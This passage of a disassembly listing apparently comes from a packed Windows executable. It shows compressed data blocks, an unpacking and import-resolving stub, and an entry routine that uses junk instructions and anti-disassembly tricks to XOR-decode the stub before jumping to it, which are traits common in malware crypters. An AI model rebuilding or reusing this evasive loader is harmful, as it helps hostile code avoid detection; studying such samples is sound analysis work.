dd 65671C8Dh, 90660FFBh, 66C961BDh, 0AD2F970Bh, 0AD8DB470h
dd 3367FB54h, 367D5973h, 3A4386B2h, 35721164h, 185B709Fh
dd 73E51212h, 0B59B2D5Ah, 697644EDh, 235D7342h, 0AD1E9A10h
dd 661BF4B2h, 85AE566Fh, 29CFDC95h, 61C2DBD0h, 0A4C36169h
dd 0BDE12C78h, 9B23C343h, 14E720FCh, 0C1C3ED6Dh, 2D7B7DCBh
dd 692CB562h, 18B5CE1Dh, 6C083934h, 876073BBh, 0D83466F4h
dd 6D2F6472h, 0FD286183h, 6B7C7301h, 0E19F0332h, 610A4796h
dd 0DA112709h, 7818DEE6h, 0D10634Ah, 4EDA39C0h, 9F751409h
dd 0CDB0988Ch, 644A88D1h, 35695767h, 7BCE3A39h, 7967AC63h
dd 7B092C40h, 29E0AE78h, 87775589h, 6B2C223Ah, 0EE37BA24h
dd 0B1521172h, 0C06C2331h, 0A07B428Fh, 617F3FD4h, 1D9F2A5Fh
dd 7EA93003h, 0FFEC0EC7h, 3D6000FFh, 548FDF0Bh, 658E101Bh
dd 2B2B0008h, 5F3719D1h, 1AC5A012h, 386B5F0Fh, 8425119Bh
dd 0A0089F0Ah, 50050192h, 0A08F0C81h, 40041B0Ah, 5C513801h
dd 120182Eh, 50124743h, 4106A26Bh, 203E790Ch, 97011D01h
dd 74654701h, 0FECFC507h, 7A695315h, 73614C0Ch, 58F1D874h
dd 0C30DB115h, 6C694474h, 0FA44CDD8h, 54417913h, 0F6136711h
dd 6F6D59B7h, 54531176h, 5DB7441h, 6239748Ah, 13732D75h
dd 3FFD9B47h, 6D6E5580h, 69567061h, 664F7765h, 0BD80059Ah
dd 0A46E6ED9h, 482A7372h, 808B6D82h, 0FBC04776h, 7BED1046h
dd 573175AFh, 103CE24Dh, 6C505B4Ch, 6172DAC3h, 419A2324h
dd 730D9BD0h, 8A0C0EF3h, 37150CEh, 646441ECh, 0B78A4322h
dd 43C0404Bh, 6F543668h, 0F7325A4Dh, 4269B525h, 0A4D7479h
dd 730B0915h, 0AE141FC3h, 0B6EB7660h, 0BB70186Eh, 0BC6C9C67h
dd 8156372h, 0BCBC212Fh, 6D79DA4Dh, 0AB3EC37h, 0E478654Eh
dd 5D74538Eh, 400B140Ah, 84F849F2h, 10CFB420h, 7F646F4Dh
dd 0F750A4h, 6954BEEAh, 0D8443E6Dh, 9680310Ch, 0CD169BB9h
dd 64612DECh, 0EEF2C415h, 62A13191h, 0F1037B44h, 54C55330h
dd 6F506ADDh, 41EDB421h, 354C0FC2h, 2A9B6D6Bh, 0ED1149DEh
dd 630A6465h, 0B704386Bh, 4556D12h, 0BB78D24Dh, 30112DAFh
dd 0CB1A75B9h, 0C507B367h, 16EF6D72h, 0F84D449Fh, 4C344058h
dd 2B444943h, 0AC162C6Ch, 36681F6Ah, 908E6A41h, 6A3125ACh
dd 5B79705Bh, 30F60BBBh, 6157090Ah, 536AB169h, 0CDE398Ah
dd 624F3E7Eh, 214F266Ah, 87024C61h, 6F4A5838h, 4EE10DFBh
dd 0DF415461h, 43B74B17h, 17683530h, 4D427065h, 34E3611Eh
dd 0B4674000h, 0AF79654Bh, 0CC50473h, 0EA450BE7h, 75C80B98h
dd 0FEED530Eh, 36036B0Fh, 51200B61h, 9A6F571Bh, 5722586Dh
dd 10FFE85Ah, 6DF2FF1Bh, 212B7F9h, 0ABFF164Eh, 0AD9EFF03h
dd 0FF0B6305h, 7CB2F939h, 0FF15C4FBh, 10211433h, 1C9A9CFFh
dd 6F5AFF02h, 206D965Fh, 59175C0Bh, 519FF09h, 0D0000337h
dd 64BB37DDh, 3F21409Fh, 6F5F7369h, 66694093h, 63FEE75h
dd 51404036h, 58484542h, 640E1A5Ah, 0AC9FFF7Eh, 45411617h
dd 31564141h, 44415040h, 671E4048h, 96F64363h, 2074162Ah
dd 0F63D6337h, 50F07B2Dh, 3F185839h, 8DDB445Fh, 7E15802Ch
dd 63425017h, 59F622A3h, 5F687364h, 0B7BE6286h, 1EA79006h
dd 49424832h, 64505330h, 0DF4048C2h, 35AC9DD2h, 8A7B48h
dd 0E068E670h, 3F3E9636h, 0C0243F31h, 365FB673h, 0DDB4D686h
dd 554440E9h, 5F936310h, 0ED15FF0Eh, 44336ED6h, 40661840h
dd 76F61556h, 0F1E51985h, 16403213h, 9954EC63h, 4147785Bh
dd 3DD66442h, 0EA53842Bh, 409B6275h, 6D866E5Fh, 0A43FF851h
dd 164949B6h, 53C63B5Ch, 6C5FC366h, 3C66E444h, 59CAA52Bh
dd 706E5471h, 2B28BE1Eh, 49324C63h, 28344B42h, 904A8C74h
dd 15B3D30h, 5506742h, 254D9E40h, 370C28DCh, 376E6730h
dd 429C38E6h, 54D39136h, 2342001Bh, 824DE581h, 8F8622ABh
dd 38C7D87Ah, 38DA5563h, 0F64159EAh, 5FC30488h, 309A514Eh
dd 8740140h, 0DC5AC204h, 4E1A0636h, 9C7CC9D3h, 0F7B76E3Ch
dd 86A6B60h, 74056C3Ch, 5D980BA4h, 5F69CB7Ah, 706DE11Bh
dd 0F4AD070Ah, 6D08A715h, 0B5860754h, 5509372Dh, 0F5F1910h
dd 0BB5B635Eh, 0B676F3Ah, 664A6D3Ah, 8B173982h, 2A940EE4h
dd 63021602h, 7C862E0h, 4C9766BCh, 1EB5DF44h, 78435F3Fh
dd 0B4944678h, 0FD0CDCFDh, 68541127h, 0E6837753h, 43FB4586h
dd 0E66CFF63h, 866ADE0h, 0A1736377h, 9D6B9A88h, 50666803h
dd 75966FB8h, 59B1066Ch, 288F2098h, 0F7BDAEB2h, 9F0A626Eh
dd 9863B32Ch, 0D8ECDEF5h, 0F66D6742h, 2EB3A92Ah, 0F8DEE801h
dd 836FAC55h, 64AA75C8h, 0F7690537h, 64B06D13h, 62580608h
dd 160ED0A8h, 5F12A389h, 5B756D67h, 4404AD40h, 610E7375h
dd 0AD7A0267h, 3EBA406Ch, 0EB44F627h, 90226D5Eh, 68980375h
dd 0BAEF705h, 6A9CFCBCh, 64665F75h, 211F7669h, 70E803A8h
dd 0B36D4A5Fh, 99D86E6Bh, 390B660Dh, 1F09F32Ch, 0A95F6F62h
dd 685F2C86h, 2D734245h, 4B6633C2h, 67383E18h, 0A086D1B3h
dd 87897066h, 120A22A4h, 0EA6FA150h, 0D835E2C4h, 324F683Eh
dd 91177C52h, 314C4A82h, 0D9A620EEh, 49117D92h, 60914027h
dd 0DB2CB2CBh, 9020CFFh, 6969508h, 2CB2DB34h, 6402C807h
dd 1859889Eh, 4853F89Eh, 75954FD6h, 0B66930B1h, 8F90AA7Fh
dd 0DACD0F52h, 71451863h, 0D20A5B75h, 0C105155h, 0E641C40Fh
dd 7B60A0F0h
dd 45503152h, 83FD4C03h, 8C435F10h, 3647F272h, 10F00E0h
dd 9A06010Bh, 55B359EEh, 8A13A020h, 30100B16h, 0A766EBh
dd 4030B50h, 4ECDEE1Eh, 0D0000736h, 96B20027h, 2467606Ch
dd 2F060710h, 396FB710h, 8DC5E20h, 32807C0h, 8056ED85h
dd 2B8A7B8h, 35D9064Fh, 74C42E74h, 2017A5AFh, 0CB6486D0h
dd 2E929BB7h, 3760D872h, 86083153h, 740FB3Dh, 2CB7ECFBh
dd 2E401200h, 4D140026h, 1B29B64Bh, 277070A4h, 1B734FC0h
dd 1A95CC6Ch, 27C0EB0Bh, 0FF004F80h, 0B41B2B7Eh, 0CB431761h
dd 1, 0
; ---------------------------------------------------------------------------
add byte ptr [edi+edi*8], 0
loc_41E580: ; DATA XREF: start+86o
pusha
mov esi, offset dword_416000
lea edi, [esi-15000h]
push edi
or ebp, 0FFFFFFFFh
jmp short loc_41E5A2
; ---------------------------------------------------------------------------
align 8
loc_41E598: ; CODE XREF: HSho:loc_41E5A9j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_41E59E: ; CODE XREF: HSho:0041E636j
; HSho:0041E64Dj
add ebx, ebx
jnz short loc_41E5A9
loc_41E5A2: ; CODE XREF: HSho:0041E590j
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_41E5A9: ; CODE XREF: HSho:0041E5A0j
jb short loc_41E598
mov eax, 1
loc_41E5B0: ; CODE XREF: HSho:0041E5BFj
; HSho:0041E5CAj
add ebx, ebx
jnz short loc_41E5BB
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_41E5BB: ; CODE XREF: HSho:0041E5B2j
adc eax, eax
add ebx, ebx
jnb short loc_41E5B0
jnz short loc_41E5CC
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jnb short loc_41E5B0
loc_41E5CC: ; CODE XREF: HSho:0041E5C1j
xor ecx, ecx
sub eax, 3
jb short loc_41E5E0
shl eax, 8
mov al, [esi]
inc esi
xor eax, 0FFFFFFFFh
jz short loc_41E652
mov ebp, eax
loc_41E5E0: ; CODE XREF: HSho:0041E5D1j
add ebx, ebx
jnz short loc_41E5EB
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_41E5EB: ; CODE XREF: HSho:0041E5E2j
adc ecx, ecx
add ebx, ebx
jnz short loc_41E5F8
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_41E5F8: ; CODE XREF: HSho:0041E5EFj
adc ecx, ecx
jnz short loc_41E61C
inc ecx
loc_41E5FD: ; CODE XREF: HSho:0041E60Cj
; HSho:0041E617j
add ebx, ebx
jnz short loc_41E608
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
loc_41E608: ; CODE XREF: HSho:0041E5FFj
adc ecx, ecx
add ebx, ebx
jnb short loc_41E5FD
jnz short loc_41E619
mov ebx, [esi]
sub esi, 0FFFFFFFCh
adc ebx, ebx
jnb short loc_41E5FD
loc_41E619: ; CODE XREF: HSho:0041E60Ej
add ecx, 2
loc_41E61C: ; CODE XREF: HSho:0041E5FAj
cmp ebp, 0FFFFF300h
adc ecx, 1
lea edx, [edi+ebp]
cmp ebp, 0FFFFFFFCh
jbe short loc_41E63C
loc_41E62D: ; CODE XREF: HSho:0041E634j
mov al, [edx]
inc edx
mov [edi], al
inc edi
dec ecx
jnz short loc_41E62D
jmp loc_41E59E
; ---------------------------------------------------------------------------
align 4
loc_41E63C: ; CODE XREF: HSho:0041E62Bj
; HSho:0041E649j
mov eax, [edx]
add edx, 4
mov [edi], eax
add edi, 4
sub ecx, 4
ja short loc_41E63C
add edi, ecx
jmp loc_41E59E
; ---------------------------------------------------------------------------
loc_41E652: ; CODE XREF: HSho:0041E5DCj
pop esi
mov edi, esi
mov ecx, 743h
loc_41E65A: ; CODE XREF: HSho:0041E661j
; HSho:0041E666j
mov al, [edi]
inc edi
sub al, 0E8h
loc_41E65F: ; CODE XREF: HSho:0041E684j
cmp al, 1
ja short loc_41E65A
cmp byte ptr [edi], 6
jnz short loc_41E65A
mov eax, [edi]
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
sub eax, edi
sub bl, 0E8h
add eax, esi
mov [edi], eax
add edi, 5
mov al, bl
loop loc_41E65F
lea edi, [esi+1C000h]
loc_41E68C: ; CODE XREF: HSho:0041E6AEj
mov eax, [edi]
or eax, eax
jz short loc_41E6D7
mov ebx, [edi+4]
lea eax, [eax+esi+1E324h]
add ebx, esi
push eax
add edi, 8
call dword ptr [esi+1E400h]
xchg eax, ebp
loc_41E6A9: ; CODE XREF: HSho:0041E6CFj
mov al, [edi]
inc edi
or al, al
jz short loc_41E68C
mov ecx, edi
jns short near ptr loc_41E6BA+1
movzx eax, word ptr [edi]
inc edi
push eax
inc edi
loc_41E6BA: ; CODE XREF: HSho:0041E6B2j
mov ecx, 0AEF24857h
push ebp
call dword ptr [esi+1E404h]
or eax, eax
jz short loc_41E6D1
mov [ebx], eax
add ebx, 4
jmp short loc_41E6A9
; ---------------------------------------------------------------------------
loc_41E6D1: ; CODE XREF: HSho:0041E6C8j
call dword ptr [esi+1E414h]
loc_41E6D7: ; CODE XREF: HSho:0041E690j
mov ebp, [esi+1E408h]
lea edi, [esi-1000h]
mov ebx, 1000h
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi+1FFh]
and byte ptr [eax], 7Fh
and byte ptr [eax+28h], 7Fh
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popa
lea eax, [esp-80h]
loc_41E70B: ; CODE XREF: HSho:0041E70Fj
push 0
cmp esp, eax
jnz short loc_41E70B
sub esp, 0FFFFFF80h
jmp loc_41168A
; ---------------------------------------------------------------------------
align 4
dd 8 dup(0)
db 0
; =============== S U B R O U T I N E =======================================
public start
start proc far
var_C = dword ptr -0Ch
repne mov ecx, 29DEF744h
mov al, dh
test eax, 0FE976475h
xchg ecx, eax
mov esi, 1E378415h
jmp short loc_41E756
; ---------------------------------------------------------------------------
db 14h
; ---------------------------------------------------------------------------
loc_41E756: ; CODE XREF: start+16j
adc eax, 3ED7A4B5h
and ecx, edi
lea edi, ds:5E77C455h
imul ecx, eax, 796EC754h
db 65h
btc edi, 0C5h
adc eax, 9EB70495h
movzx ecx, di
shld edi, esi, 35h
adc esi, ebp
test dh, cl
mov ebx, ecx
inc ecx
test eax, 86BFAC5Dh
inc ecx
repne lea ebp, ds:5CCD527Bh
repne xadd bh, ah
btc ebx, edx
mov ecx, 796EC754h
jmp short loc_41E79E
; ---------------------------------------------------------------------------
pop ss
loc_41E79E: ; CODE XREF: start+5Ej
mov dh, ah
shrd ebp, edi, cl
jmp short loc_41E7A6
; ---------------------------------------------------------------------------
push ecx
loc_41E7A6: ; CODE XREF: start+66j
cmp al, 2Fh
rep xadd bh, ah
xor ebx, ecx
and ecx, edi
db 64h
rcr ah, cl
imul ebx, edx
jmp short loc_41E7BA
; ---------------------------------------------------------------------------
align 2
loc_41E7BA: ; CODE XREF: start+7Aj
bsf edi, esi
jmp short loc_41E7C0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
loc_41E7C0: ; CODE XREF: start+80j
push ebp
mov ebp, esp
mov edi, offset loc_41E580
mov esi, edi
mov ecx, 0AFh
loc_41E7CF: ; CODE XREF: start+AFj
xor byte ptr [edi], 21h
push eax
mov eax, 2
push eax
add edi, [esp+0]
pop eax
pop eax
push ecx
sub ecx, ecx
mov ecx, 1
loc_41E7E6: ; CODE XREF: start+ACj
sub edi, 1
loop loc_41E7E6
pop ecx
loop loc_41E7CF
jmp esi
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 1000h
HSho ends
; Section 4. (virtual address 00020000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00020000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 420000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start